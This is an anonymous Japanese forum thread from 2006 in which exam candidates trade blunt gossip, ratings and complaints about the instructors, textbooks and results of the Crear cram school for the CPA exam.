06/08/03 18:44:00 4yJq05Ne
過去スレ
1回目 ｽﾚﾘﾝｸ(tax板)
2回目 ｽﾚﾘﾝｸ(tax板)
3回目 ｽﾚﾘﾝｸ(tax板)
4回目 ｽﾚﾘﾝｸ(tax板)
5回目 ｽﾚﾘﾝｸ(exam板)
6回目 ｽﾚﾘﾝｸ(exam板)
7回目 ｽﾚﾘﾝｸ(exam板)
8回目 ｽﾚﾘﾝｸ(exam板)
9回目 ｽﾚﾘﾝｸ(exam板)
10回目 ｽﾚﾘﾝｸ(exam板)
11回目 ｽﾚﾘﾝｸ(exam板)
12回目 ｽﾚﾘﾝｸ(exam板)
13回目 ｽﾚﾘﾝｸ(exam板)
14回目 ｽﾚﾘﾝｸ(exam板)l50
3:一般に公正妥当と認められた名無しさん
06/08/03 18:45:28
>>1
乙w
4:一般に公正妥当と認められた名無しさん
06/08/03 18:49:18 4yJq05Ne
クレア-ル って､結局どうだったのですか?
URLﾘﾝｸ(makimo.to)
【非常識】 クレア-ル 総合スレ2回目【スピ-チ】
URLﾘﾝｸ(makimo.to)
【平林塾】 クレア-ル 総合スレ3回目【五十嵐塾】
URLﾘﾝｸ(makimo.to)
【平林塾】 クレア-ル 総合スレ4回目【五十嵐塾】
URLﾘﾝｸ(makimo.to)
【非常識】 クレア-ル 総5回目【資格★合格】
URLﾘﾝｸ(makimo.to)
【非常識】 クレア-ル ってどうよ?【合格法】
URLﾘﾝｸ(makimo.to)
【亮子たん】 クレア-ル 会計士総合7回目【ハァハァ・・】
URLﾘﾝｸ(makimo.to)
5:一般に公正妥当と認められた名無しさん
06/08/03 18:52:33 4yJq05Ne
【イカサマ】 クレア-ル 会計士総合8回目【イガサマ】
URLﾘﾝｸ(makimo.to)
【ビトゥの挑戦】 クレア-ル 9回目【知名度UP】
URLﾘﾝｸ(makimo.to)
クレア-ル 会計士10回目
URLﾘﾝｸ(makimo.to)
【どこが】 クレア-ル 会計士11回目【非常識?】
URLﾘﾝｸ(makimo.to)
【どこが的中?】 クレア-ル 会計士12回目【財表石井】
URLﾘﾝｸ(makimo.to)
【ソロモン】 クレア-ル 会計士13回目【の鍵】
URLﾘﾝｸ(makimo.to)
【芳しき】 クレア-ル 会計士14回目【非常識】
ｽﾚﾘﾝｸ(exam板)
関連スレッド
クレア-ル 簿記講師平林亮子ってどう?
ｽﾚﾘﾝｸ(exam板)
6:一般に公正妥当と認められた名無しさん
06/08/03 18:53:13 4yJq05Ne
以上、直リン集
7:一般に公正妥当と認められた名無しさん
06/08/03 19:01:07 4yJq05Ne
4-5に直リン貼ったけど、一応
htmlバージョンの過去ログは「にくちゃんねる」でみることができます。
URLﾘﾝｸ(makimo.to)
URLﾘﾝｸ(makimo.to)
URLﾘﾝｸ(makimo.to)
URLﾘﾝｸ(makimo.to)
8:一般に公正妥当と認められた名無しさん
06/08/04 02:17:49
比佐せんせいの統計学ってどうですか？
9:一般に公正妥当と認められた名無しさん
06/08/04 03:28:59
>>8
素晴らしいの一言です。目から鱗が落ちることでしょう。
10:一般に公正妥当と認められた名無しさん
06/08/04 19:11:14
比佐せんせいの統計学ってむずかしいですか？
ぼくにもわかるかな？
11:一般に公正妥当と認められた名無しさん
06/08/05 18:10:32
統計学まで手回らないよ
よくやるよまったく
12:一般に公正妥当と認められた名無しさん
06/08/05 18:10:50
ICOより伸びない。クレアール
13:一般に公正妥当と認められた名無しさん
06/08/05 18:40:38 aLXBjn7v
クレアール。監査以外は駄目なんですか？興味があるのですが。
他校と比べていかがでしょう？
14:一般に公正妥当と認められた名無しさん
06/08/05 18:46:19
今年の簿記は神かもしれない。
15:一般に公正妥当と認められた名無しさん
06/08/05 18:48:47
いい学校ですよ、クレは。
無理無駄ムラを省きたい人には最適じゃないでしょうか。
16:一般に公正妥当と認められた名無しさん
06/08/05 18:54:21
経営量多いなあ。
馬場の直前テキスト重すぎ。
17:一般に公正妥当と認められた名無しさん
06/08/05 18:55:56
>>15
スタッフ乙w
18:一般に公正妥当と認められた名無しさん
06/08/05 18:56:01
経営って去年外しまくったんだっけ？
それで今年は手厚くやってるのかな
19:一般に公正妥当と認められた名無しさん
06/08/05 19:32:32
>>16
ファイナンスは試験委員が１人→４人になったので
量が多くなるのは当たり前…
だけどやはり重すぎの予感。
20:一般に公正妥当と認められた名無しさん
06/08/05 20:09:13
簿記はキテルね
だが連結以降はいつものＭ
21:一般に公正妥当と認められた名無しさん
06/08/05 21:02:57
Mもそんなに悪くはない。
簿記はクレアールの歴史の中でも最高にキテルと思われ。
管理会計はクレアールの黒歴史になるのは確定。来年、ひどいことになるぞ
そこらの新人講師のほうがましか？早急に講師を変更するべきだ。
安井がすばらしい講師に見える時がくるとは。
安井しぇんしぇーのほうがまだ良かったよ
22:一般に公正妥当と認められた名無しさん
06/08/05 21:37:18
06の安井の講義見れば？そのくらい融通利くんじゃない？
財務の答練は基礎３回直前４回、すなわち１４問分だからな。
大手では管理・財務なんて分かれてないしせいぜい半分の７問程度じゃないか。
今年は本気で当てるって強気だから信じるのもありだけど
23:一般に公正妥当と認められた名無しさん
06/08/05 22:05:16 xsSr66qm
簿記の竹森は、去年の答練担当で一気に株を上げた。
今年も期待していいのでは。
大御所・森山は、講義の内容がどうこういう前に、
マイクを口に近づけすぎて、鼻息がフンフン入るので、
気持ち悪い。ｗ
24:一般に公正妥当と認められた名無しさん
06/08/05 22:41:42
>>22
あ、経営学のことね。
最後の一行読むまで会計学の話かと思ったよ。
財務会計の答練７回って少なっ！ってありえんか。
25:一般に公正妥当と認められた名無しさん
06/08/06 00:22:45
工作員乙ｗ
26:一般に公正妥当と認められた名無しさん
06/08/06 00:51:02
>>23
確かに息吹きかけすぎだなｗ
27:一般に公正妥当と認められた名無しさん
06/08/06 00:56:17 SOrLg7k+
森山はあのきもさがいいんじゃないか。
それよりも、会社法石井が何を言っているのか聞き取れない。
マイクを動かすな
28:一般に公正妥当と認められた名無しさん
06/08/06 01:58:26
クレアール登場人物
財務会計論（簿記）
森山・・・連結会計担当。ただし、連結が苦手。きもい。だが、わかりやすく教える努力はしている。
竹森・・・個別論点担当。ですます調を使わない。2007年の神の予感。
財務会計論（財務諸表論）
石井(弟)・・・非常識合格法提唱者だが、他校と比べて講義や答練習が20%増しくらい多い。
テキストは他校の1/4程度だが、定義をそのまま丸暗記させるため、負担は大きい。
講師を批判する人間はたとえ合格しても、その後も批判人生を送ると受験生に助言している。
その割に自身はアクセル野坂をよく批判している。
管理会計論
中村・・・元TAC講師。無駄な話が多い。説明がテキスト棒読み。ようは駄目講師。
安井・・・2006年まで担当。神戸大学助教授に就任のため、クレアールを辞職。
配合差異などのいわゆる安井図が有名。
五十嵐・・・黒い。
企業法
石井(兄)・・・会計士界の若貴兄弟である。石井兄弟。やはり兄はこちらでも目立たない。
とにかく普通。ただし、講義が致命的に聞き取りにくい。
監査論
堀江・・・日本大学教授。クレアールの看板講師。他校の1/4程度のテキストで、高得点の答案を
作ることが出来ると評判の講師。短期間で仕上げるという目的では、他校の追随を許さない。
試験委員の八田と友達。そもそも、堀江自身が試験委員に指名されそう。人間性も良いことで有名。
ただ、本人はクレアールを辞めたがっている。
平林・・・アイドル会計士。しかし年齢は30代。講義はテキスト棒読みである。自身が出版している、
演習セレクトの評価は高い。ただ、受講生の評判が悪く、2007年は講義を担当しない予定。
29:一般に公正妥当と認められた名無しさん
06/08/06 02:05:52
工作員・・・ベテラン受験生。ヴェテにつらく当たる石井に恨みを持っている。
スタッフ・・・クレアール運営。受講生「ネットの掲示板にひどいこと書かれていますよね。」
クレアール運営「あんなひどいこと書かなくてもね。」
30:一般に公正妥当と認められた名無しさん
06/08/06 03:33:38
>>28
企業法の石井とカリスマの石井ってガチで兄弟なの？
偶然名字が一緒なだけじゃなくて？
31:一般に公正妥当と認められた名無しさん
06/08/06 03:42:53
>>28
>その割に自身はアクセル野坂をよく批判している。
わざわざ知名度の低い新設校への人材流出機会を作っているのかｗ
32:一般に公正妥当と認められた名無しさん
06/08/06 04:17:10
企業法が聞き取りにくい人はDVDにしたほうがいいぞ。
飛躍的に聞き取れるようになる。ちなみに監査も然り。
そもそもクレの教室の音響おかしいし。
財表は地声が爆音だからDVDだとうざい。
森山はDVDだと息がきもすぎる。
33:一般に公正妥当と認められた名無しさん
06/08/06 04:33:06
野坂・・・アクセル財務諸表論、監査論担当講師。元LEC。
クレアール石井に財務諸表論での間違いを指摘され、体調を崩すも、メントレを立ち上げ復活。
ベテ人気が高い。テキストの改訂を繰り返し、現在では石井を逆転したとの評価も。
田坂・・・アクセル管理会計担当講師。元LEC入門期の看板講師。税理士。
授業中に自分が作成した問題を解けないことがある。つまり頭が悪い。
34:一般に公正妥当と認められた名無しさん
06/08/06 04:40:08
他校の話はいいよ
35:一般に公正妥当と認められた名無しさん
06/08/06 04:41:02
長瀬・・・アクセル企業法。神
36:H佐
06/08/06 04:48:13
クレアール登場人物
財務会計論（簿記）
森山・・・連結会計担当。ただし、連結が苦手。きもい。だが、わかりやすく教える努力はしている。
竹森・・・個別論点担当。ですます調を使わない。2007年の神の予感。
財務会計論（財務諸表論）
石井(弟)・・・非常識合格法提唱者だが、他校と比べて講義や答練習が20%増しくらい多い。
テキストは他校の1/4程度だが、定義をそのまま丸暗記させるため、負担は大きい。
講師を批判する人間はたとえ合格しても、その後も批判人生を送ると受験生に助言している。
その割に自身はアクセル野坂をよく批判している。
管理会計論
中村・・・元TAC講師。無駄な話が多い。説明がテキスト棒読み。講師としての能力は低い。2007年担当。
安井・・・2006年まで担当。神戸大学助教授に就任のため、クレアールを辞職。配合差異などのいわゆる安井図が有名。
五十嵐・・・黒い。クビになった。
企業法
石井(兄)・・・会計士界の若貴兄弟である。石井兄弟。やはり兄はこちらでも目立たない。
テキストや講義の内容はそこそこである。ただし、講義が致命的に聞き取りにくい。
監査論
堀江・・・日本大学教授。クレアールの看板講師。他校の1/4程度のテキストで、高得点の答案を
作ることが出来ると評判の講師。短期間で仕上げるという目的では、他校の追随を許さない。
試験委員の八田と友達。そもそも、堀江自身が試験委員に指名されそう。人間性も良いことで有名。
ただ、本人はクレアールを辞めたがっている。
平林・・・アイドル会計士。しかし年齢は30代。講義はテキスト棒読みである。自身が出版している、
演習セレクトの評価は高い。ただ、受講生の評判が悪く、2007年は講義を担当しない予定。 別称ひらりん。
工作員・・・ベテラン受験生。ヴェテにつらく当たる石井に恨みを持っている。
スタッフ・・・クレアール運営。受講生「ネットの掲示板にひどいこと書かれていますよね。」
クレアール運営「あんなひどいこと書かなくてもね。」
37:H佐
06/08/06 04:49:21
１ですが、次からは>>36もテンプレに入れていいですか？
38:一般に公正妥当と認められた名無しさん
06/08/06 10:40:20
石井先生ってまじで兄弟なの？
39:一般に公正妥当と認められた名無しさん
06/08/06 12:12:39
>>36
租税・経営・統計あたりも入れて！！
40:一般に公正妥当と認められた名無しさん
06/08/06 12:25:45 jcedFvPJ
経営だけで直前講義約２０コマ・・。アホですか・
41:一般に公正妥当と認められた名無しさん
06/08/06 13:44:51
租税法
成澤…元LECで三次試験の講師。開講前は神との噂が流れたが、終わってみればちんたらとしたつかみ所のない授業が不評だった。誤植は多い。
経営
藤原…クレ講師の中では比較的影が薄い。テキストも半端じゃなく薄い。が、中身はギチギチに文字が並び圧倒される。
馬場…ヤマ当て師。04は大当たり、05は大外れ。親身ではあるが、強気な発言がきもいとの評価も。
42:一般に公正妥当と認められた名無しさん
06/08/06 15:05:03
ほりなおゆきくんはどうなの、最近
43:一般に公正妥当と認められた名無しさん
06/08/06 16:19:35
堀江さん良さげだけど、短答対策とかはどうなの？
44:一般に公正妥当と認められた名無しさん
06/08/06 16:26:28
>>43
堀江のことだけ聞いてくるんじゃねえええええええええ！！！！！！！！！！！！！
たまには森山とかのことを聞いてこい！！！！！！！！！！！！じぇいｗふぇｇｔｇｈじぇいおｇｊえふぃえいｇふｒｈ
45:一般に公正妥当と認められた名無しさん
06/08/06 16:55:37 SOrLg7k+
>>43
─────┐ ┌───────
, '´l, | ./
, -─-'- 、i_ ..|/
＿_, '´ ヽ、
',ー-- ● ヽ、
｀"'ゝ、_ ',
〈｀'ｰ;＝=ヽ、〈ｰ- 、 !
｀ｰ´ ヽi｀ヽ iﾉ
! /
r'´、ヽ
｀´ヽノ
46:一般に公正妥当と認められた名無しさん
06/08/06 19:40:48
きもいほりくんはmixiにいるの？それともどこかのブログなの？
鈴蘭台っていうひとと同一人物なの？
47:一般に公正妥当と認められた名無しさん
06/08/06 19:43:33
今年は全然盛り上がらないねこのスレ
48:一般に公正妥当と認められた名無しさん
06/08/06 20:29:59
クレアールはこんなもんさ。
社会人が増えてきてるからな。
49:一般に公正妥当と認められた名無しさん
06/08/06 21:18:38
>>36で、クレアールの評価をあらわせていると言っていいですか？
50:一般に公正妥当と認められた名無しさん
06/08/06 22:00:54
>>50
異論もあると思うから、徐々に修正していくべ。
そうすれば>>43みたいな質問は即却下っしょ。
51:一般に公正妥当と認められた名無しさん
06/08/06 22:10:25
>>36を見ると、普通の講師は竹森と石井（兄）しかいない件について
52:一般に公正妥当と認められた名無しさん
06/08/07 00:44:57
この学校いったら合格出来ないよ。
53:一般に公正妥当と認められた名無しさん
06/08/07 00:49:14
工作員乙ｗ
54:一般に公正妥当と認められた名無しさん
06/08/07 07:43:22
スタッフ乙w
55:一般に公正妥当と認められた名無しさん
06/08/07 08:22:34
工作員＆スタッフ乙ｗｗ
56:一般に公正妥当と認められた名無しさん
06/08/07 15:55:02
kimura乙
57:一般に公正妥当と認められた名無しさん
06/08/07 17:46:09
N村＆Ｈ佐乙ｗｗｗ
58:一般に公正妥当と認められた名無しさん
06/08/08 00:20:33
>>52
できないことはないだろうが、近いようで遠回りって感じかな。
59:一般に公正妥当と認められた名無しさん
06/08/08 00:22:05 ig8wWlP0
∩
| |
| |
∧＿∧ | | ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
（ ´Д｀）／/ ＜ 中村先生！講義に雑談は入れないでください！
／ / ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
/ /| /
＿＿| | _|＿_＿_|＿＿
＼ ＼
||＼ ＼
||＼||￣￣￣￣￣￣￣||￣
|| ||￣￣￣￣￣￣￣||
. ||. ||
60:一般に公正妥当と認められた名無しさん
06/08/08 00:28:18
>>59
たぶん、他にしゃべることがないんだろうと思う。
61:一般に公正妥当と認められた名無しさん
06/08/08 00:55:33
∩
| |
| |
∧＿∧ | | ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
（ ´Д｀）／/ ＜石井先生！この前の答練が０点だったのですが、どうしたらいいですか？
／ / ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
/ /| /
＿＿| | _|＿_＿_|＿＿
＼ ＼
||＼ ＼
||＼||￣￣￣￣￣￣￣||￣
|| ||￣￣￣￣￣￣￣||
. ||. ||
62:一般に公正妥当と認められた名無しさん
06/08/08 01:50:26
石井の良いところ10個以上を論理的に書くと満点もらえるよ
63:一般に公正妥当と認められた名無しさん
06/08/08 03:13:37 ig8wWlP0
∩
| |
| |
∧＿∧ | | ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
（ ´Д｀）／/ ＜中村先生！講義はしなくてもいいですから、テキストを作り直してください。
／ / ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
/ /| /
＿＿| | _|＿_＿_|＿＿
＼ ＼
||＼ ＼
||＼||￣￣￣￣￣￣￣||￣
|| ||￣￣￣￣￣￣￣||
. ||. ||
64:一般に公正妥当と認められた名無しさん
06/08/08 10:09:16 frPr4UgK
ここの通信受けているけど、せめてテキストくらいちゃんとつくってほしい
65:一般に公正妥当と認められた名無しさん
06/08/08 13:16:50
カリスマ講師を名乗るくらいなら、もっとちゃんとした講義しろよな。
どの講師もテキスト棒読みじゃん。
詐欺学校だよな、ほんと
66:一般に公正妥当と認められた名無しさん
06/08/08 17:44:54
>>64
kwsk
67:一般に公正妥当と認められた名無しさん
06/08/08 19:11:41 ig8wWlP0
Ｎ村、去年、安井が使っていたテキストと全く同じ。
68:一般に公正妥当と認められた名無しさん
06/08/08 19:53:03 z7QkHsAU
これだけ評判がよろしく無いと言うことは、
Ｎ村ってＴＡＣをクビになった人なんですか？
69:一般に公正妥当と認められた名無しさん
06/08/09 01:10:05 LmGyenKh
>>68
たぶん、１年くらいしかやってないと思う。その後、クレアールで答練の説明を
していたらしい。合格者をいきなり講師にすることは、やらないとクレアールは
言っているが、現実に合格者をいきなり講師にしているＬＥＣには、まともな
講師もいるからな。（駄目なのも多いのも事実だが）
応用期は柴田にやってもらったほうがいいんじゃないか？
ＵＳＣＰＡの管理会計の本も書いているくらいだし、出来るだろ？
70:一般に公正妥当と認められた名無しさん
06/08/09 01:14:27 LmGyenKh
途中の文章が抜けてた。
>>68
たぶん、１年くらいしかやってないと思う。その後、クレアールで答練の説明を
していたらしい。合格者をいきなり講師にすることは、やらないとクレアールは
言っているが、現実に合格者をいきなり講師にしているＬＥＣには、まともな
講師がいたりする。（駄目なのも多いのも事実だが）
中村は経験があるのに、教授能力は新人講師以下だというのが問題なんだよな。
別の仕事をしながら講師をしているから、ものすごい手抜きの印象。
クレアールの悪い部分はどこ？と言われたら、中村の講義を受けたらわかる。
と言ってもいいくらい。
応用期は柴田にやってもらったほうがいいんじゃないか？
ＵＳＣＰＡの管理会計の本も書いているくらいだし、出来るだろ？
71:一般に公正妥当と認められた名無しさん
06/08/09 01:15:59
クレアール登場人物
財務会計論（簿記）
森山・・・連結会計担当。ただし、連結が苦手。きもい。だが、わかりやすく教える努力はしている。
竹森・・・個別論点担当。ですます調を使わない。2007年の神の予感。
財務会計論（財務諸表論）
石井(弟)・・・非常識合格法提唱者だが、他校と比べて講義や答練習が20%増しくらい多い。
テキストは他校の1/4程度だが、定義をそのまま丸暗記させるため、負担は大きい。
講師を批判する人間はたとえ合格しても、その後も批判人生を送ると受験生に助言している。
その割に自身はアクセル野坂をよく批判している。
管理会計論
中村・・・元TAC講師。無駄な話が多い。説明がテキスト棒読み。講師としての能力は低い。2007年担当。
安井・・・2006年まで担当。神戸大学助教授に就任のため、クレアールを辞職。配合差異などのいわゆる安井図が有名。
五十嵐・・・黒い。クビになった。
企業法
石井(兄)・・・会計士界の若貴兄弟である。石井兄弟。やはり兄はこちらでも目立たない。
テキストや講義の内容はそこそこである。ただし、講義が致命的に聞き取りにくい。
監査論
堀江・・・日本大学教授。クレアールの看板講師。他校の1/4程度のテキストで、高得点の答案を
作ることが出来ると評判の講師。短期間で仕上げるという目的では、他校の追随を許さない。
試験委員の八田と友達。そもそも、堀江自身が試験委員に指名されそう。人間性も良いことで有名。
ただ、本人はクレアールを辞めたがっている。
平林・・・アイドル会計士。しかし年齢は30代。講義はテキスト棒読みである。自身が出版している、
演習セレクトの評価は高い。ただ、受講生の評判が悪く、2007年は講義を担当しない予定。 別称ひらりん。
工作員・・・ベテラン受験生。ヴェテにつらく当たる石井に恨みを持っている。
スタッフ・・・クレアール運営。受講生「ネットの掲示板にひどいこと書かれていますよね。」
クレアール運営「あんなひどいこと書かなくてもね。」
72:一般に公正妥当と認められた名無しさん
06/08/09 11:47:06
会計士受験生が、税理士受験生にばかにされているスレ
【実現】税理士・財務諸表論24【税理士VS会計士】
73:たまお
06/08/11 00:21:36 xTZamVZc
クレ地方校のもんだが、水道橋校の短答の合格率って何パーセント？？？
74:一般に公正妥当と認められた名無しさん
06/08/11 02:42:27
∩＿＿＿∩
| ノ ヽ/⌒) また落ちただぺうぺ
/⌒) (ﾟ) (ﾟ) | .|
/ / ( _●_) ミ/ ∩―－、
.（ ヽ |∪| ／ ／ (ﾟ) ､_ ｀ヽ
＼ ヽノ / / ( ● (ﾟ) |つ
/ / | ／(入__ノ ミ カネカエセゃばびゃばば
| / ､ (＿／ ノ
| ／＼ ＼ ＼＿＿＿ ノﾞ ─ｰ
| / ) ) ＼ ＿
∪ （ ＼ ＼ ＼
＼＿)
75:一般に公正妥当と認められた名無しさん
06/08/11 18:33:31 usxZwP0A
気合の入った社会人のおっさんはうかった。
shunnもうかった。
kitioは落ちた。
違いを考えてみた。
おっさんもshunnも、クレアールを疑いながらも勉強していた。
kitioはクレアールの言うとおりに勉強しすぎた。
76:一般に公正妥当と認められた名無しさん
06/08/11 18:35:34
気合いの入った社会人のおっさんって誰？
77:一般に公正妥当と認められた名無しさん
06/08/11 18:44:36
確かにｸﾚを信じてる奴は落ちてるよな。
逆にｸﾚを見切った奴は受かってる。
あと、ｸﾚは合格者というか、講師未経験者をカリスマ講師とパンフに書くぞ。
会計士講座ではなく、他の講座でもだ。
ｸﾚの批判書くと、スタッフがすぐ「工作員乙」って書くけど、事実と異なるのなら反論してみろよな。
ｸﾚスタッフは頭が悪いから工作員乙としか言えないんだろうけど。
78:一般に公正妥当と認められた名無しさん
06/08/11 19:01:01 usxZwP0A
>>76
え・い・い・ち
>>77
二人とも共通しているのは、１．５年合格であることもだが、完全にクレアールのみじゃないってこと。
社会人のおっさんは、他校の答練受けまくり。
さらに、何度も同じ問題を繰り返し解けというのは否定していた。
（そもそも１級を独学で受かっているくらいだから、
はじめから短答に受かるくらいの計算の基礎力はあったのだろう）
shunnは、途中からアクセル教にはまってたし。ちなみに、shunnはあとから、アクセルとクレアール
を比較しているが、財務諸表論と管理会計論はアクセルが上。監査論はクレアールが上。他はどっ
ちもそんなに変わらんと言っていた。（むしろ、クレアール簿記は攻めかもしれないと）
あと二人共合格してからの発言だが、短期合格ならＴＡＣよりもクレアールを利用したほうが
いいとも言っている。でも、クレアールを完全に信じたら駄目だとも。
kitioは信じすぎているような気がする。自分の勉強の仕方を崩してしまっているのではないか？
単に合格した２人の頭が良いという一言だけで説明がつくのかもしれないけど。
合格した２人は京都大工学部、東京大農学部卒だっけ？
79:77
06/08/11 19:11:54
そのおっさんって誰？
しらんわ
どこの校舎の人？
80:一般に公正妥当と認められた名無しさん
06/08/11 19:16:55 usxZwP0A
>>79
よく社会人で合格するにはどうしたらいいか、クレアールで講演してるじゃん。
通信だから、所属校舎はないと思う。（毎日、帰宅時間が夜の９～１０時くらい
だったらしいし）
81:一般に公正妥当と認められた名無しさん
06/08/11 19:21:51
あのおっさんクレ疑いながらやってたのか。
結構講演やってるから、完全な信者だと思ってたｗ
82:77
06/08/11 19:29:57
あぁあれね。
どっちも東大じゃん
ｸﾚじゃなくても受かるよ
83:一般に公正妥当と認められた名無しさん
06/08/11 19:30:34 usxZwP0A
根本的にあのおっさんは、例外っていうのもあるんだけどな。
実務のおかげで簿記や財務諸表論は楽勝だったみたいだし。
問題を解く時間がないから、解答を何回も読む方法で突破したみたいだし。
１級独学合格 → 問題の答えを読んで理解 → 答練でアウトプットの練習（繰り返しはほとんどせず） → 合格
あのおっさんが非常識だと思う。
でも、おれは勉強方法が似ているので好感は持っている。
84:一般に公正妥当と認められた名無しさん
06/08/11 19:34:16
平均点付近とかそれ以下の奴は繰り返さないと話にならないと思うが
おっさんだから許されること
85:一般に公正妥当と認められた名無しさん
06/08/11 23:28:04
おっさんも東大か。
クレなんだかんだで東大多い気がする。
86:一般に公正妥当と認められた名無しさん
06/08/11 23:29:28
東大だと滅茶苦茶割引になるんじゃなかったっけ
シュンがそんなこと言ってた気がする
87:一般に公正妥当と認められた名無しさん
06/08/11 23:52:50
5万円で受講できる。
88:一般に公正妥当と認められた名無しさん
06/08/12 00:18:10 YWqRzakg
なぜかおっさんにしても、shunnにしても理系なんだな。
何があって会計士を目指そうとしたのだろう
89:一般に公正妥当と認められた名無しさん
06/08/12 00:18:45
工作員ｗ
90:一般に公正妥当と認められた名無しさん
06/08/12 01:25:02
うるせえ金返せハゲメガネ
91:一般に公正妥当と認められた名無しさん
06/08/12 06:23:01 Un4Wr3JR
ｸﾚの公開模試受けた大原生だが、財表120点中20点で平均以上って…
短答の公開模試でも絶対にでないような実務ネタ連発してたし石井って頭大丈夫か?
92:一般に公正妥当と認められた名無しさん
06/08/12 07:39:30
>>91
石井はきちがいだから大丈夫。
彼のことをカリスマと呼ぶのは本人くらい
93:たまお
06/08/13 01:07:51 1IOnP02j
基礎期の問題集でも
一級 + クレテキスト
の知識で解けないのが結構あるんだけど
それは俺だけ？？？
94:一般に公正妥当と認められた名無しさん
06/08/13 01:57:56 q9Ij/nO0
>>93
クレアールを擁護するわけではないが、
テキストに全部、問題を解くのに必要な知識をのっけたらいいってもんじゃない。
問題の解答から知識を得たらいいだけのこと。
そんな質問をしている時点で馬鹿だと思う。ま、一生受からないから早く撤退すべきだね
95:一般に公正妥当と認められた名無しさん
06/08/13 17:52:26
>>71
これを見たら絶望だな、クレアールが崩壊するときを楽しみにしてるよｗｗ
96:一般に公正妥当と認められた名無しさん
06/08/13 17:53:52
最近ホームページ見たら京都に奴が帰ってきてるんだな、
同志社前校はいろんな意味で辛かったなｗ
97:一般に公正妥当と認められた名無しさん
06/08/13 18:45:31
まともなのは竹森と堀江だけ。新任講師のＮ村はクレアール最強クラスのひどさ。
98:一般に公正妥当と認められた名無しさん
06/08/13 21:20:30
クレにはマドンナ会計士だけでなくマドンナ税理士もｗ
URLﾘﾝｸ(www.crear-ac.co.jp)
ここまで来るともうどうでもよくなるｗ
99:一般に公正妥当と認められた名無しさん
06/08/14 00:40:25
スタートページでクレの教材売ってる「カズ」って人、
なんか胡散臭くない？
100:一般に公正妥当と認められた名無しさん
06/08/14 02:43:00
>>97
もともとクレは管理最悪だからな。
新任というかＮ村は去年の答練解説から最強クラスを発揮してた。
あんなんだったら受かってすぐの士補講師のほうが全然いいだろ。
101:一般に公正妥当と認められた名無しさん
06/08/14 09:47:10
おれてきには石井兄弟が最強。
ｸﾚでは全然わからなかったけど、他校にのりかえたら目から鱗よ。
102:一般に公正妥当と認められた名無しさん
06/08/14 09:57:31
おい・・・・・
見てるかＨ佐・・・・・
お前を超える逸材がここにいるのだ・・・・・・・！！！
103:一般に公正妥当と認められた名無しさん
06/08/14 12:17:14
工作員乙ｗ
104:一般に公正妥当と認められた名無しさん
06/08/14 12:52:03
スタッフ乙ｗ
105:一般に公正妥当と認められた名無しさん
06/08/14 13:11:10 zx4G1+xn
Ｎ村、すごいよ。
棒読みなのに、こんなに熱く語れる男はいないと思う。
106:一般に公正妥当と認められた名無しさん
06/08/14 13:13:30
K村のほうがすごいよ
107:一般に公正妥当と認められた名無しさん
06/08/14 13:17:05 zx4G1+xn
Ｋ村なんて知らない
108:一般に公正妥当と認められた名無しさん
06/08/14 14:37:07 zx4G1+xn
クレアールからＤＶＤとテキストが届きません。
ちゃんと発送しているのだろうか
109:一般に公正妥当と認められた名無しさん
06/08/14 19:37:51
>>108
なんで2ｃｈに書き込む前に電話なりメールするなりしないんだろうか
人と接触するのが苦手なのかな
110:一般に公正妥当と認められた名無しさん
06/08/14 20:10:30
>>109
クレームかけてたらいいってもんじゃないぞ。
111:一般に公正妥当と認められた名無しさん
06/08/14 20:31:52
>>110
どういう意味で言ってるのかわからんけど、文句言うなってか？スタッフ乙？
予定日に教材が届かないなら問い合わせるのは普通の事だよ。
112:一般に公正妥当と認められた名無しさん
06/08/14 20:47:02
俺も>>111と同意見だな。
113:一般に公正妥当と認められた名無しさん
06/08/14 22:44:35
>>>108 何の教材がこないの？会計？税理士？公務員？
114:一般に公正妥当と認められた名無しさん
06/08/15 16:06:36 tgIorKCq
ｸﾚの講師がレベル低すぎるので、ゆういつ普通な講師の堀江は、過大評価されてるきがする
115:一般に公正妥当と認められた名無しさん
06/08/15 16:28:36
自殺するしかない
116:一般に公正妥当と認められた名無しさん
06/08/15 17:14:31 DFBcXT5K
>>114
そうだね。クレアールはレベルが低すぎるから、相対的に堀江が高く評価されている。
やっぱりアクセル野坂だぜ！！
117:一般に公正妥当と認められた名無しさん
06/08/15 17:56:09
堀江テキストだけじゃちゃんとした論証がかけないし点がこない希ガス
118:一般に公正妥当と認められた名無しさん
06/08/15 18:30:38
そうそう、短答も堀江監査テキスト外からたくさん出てたし、
実際、合格者は全員他の予備校も利用している事実。
クレアールに行ったら、他の予備校にも行かなきゃいけなくなる。
結局、無駄が多くなる。
119:一般に公正妥当と認められた名無しさん
06/08/15 18:39:18
クレアールはテキストを一人で作っているから、他校に比べて内容が洗練されてない。
テキストの質の悪さは致命的だ。
120:一般に公正妥当と認められた名無しさん
06/08/15 18:42:01
そろそろスタッフの反撃か？
121:一般に公正妥当と認められた名無しさん
06/08/15 18:55:33
簿記の森山は連結の講義をしているのに、連結会計が苦手だし。
企業法の石井兄は発音がおかしすぎて、講義で何を言っているか聞き取れない。
監査論の堀江は短答を外しすぎ。あんなテキストじゃ論文に対応できない。
租税の成澤は頼りないし
経営はヤマあてしかしてないし。（しかもハズレてる）
(管理会計)中村、(経済・統計学)比佐のツートップにいたっては、テキストを棒読みするスピーカーのほうが
ましというレベルだ。どこかで声のきれいなアナウンサーを雇ってきて、読んでもらったほうがいい。
財務諸表論の石井は講師を批判するなと言いながら、アクセル野坂を批判しているという矛盾。
122:一般に公正妥当と認められた名無しさん
06/08/15 19:14:41
>>119
アクセルはテキストを一人で作っているが、他校に比べて内容が洗練されてないとは言えない。
だから、お前の指摘は的はずれ。
123:一般に公正妥当と認められた名無しさん
06/08/15 20:07:06
>>121
経済学は講師違いますよ
124:一般に公正妥当と認められた名無しさん
06/08/15 21:58:18
堀江は短答答練が結構当たってなかった？俺は野坂も取ってたけど特段当たってた印象ないんだけど・・・
125:一般に公正妥当と認められた名無しさん
06/08/15 22:22:40
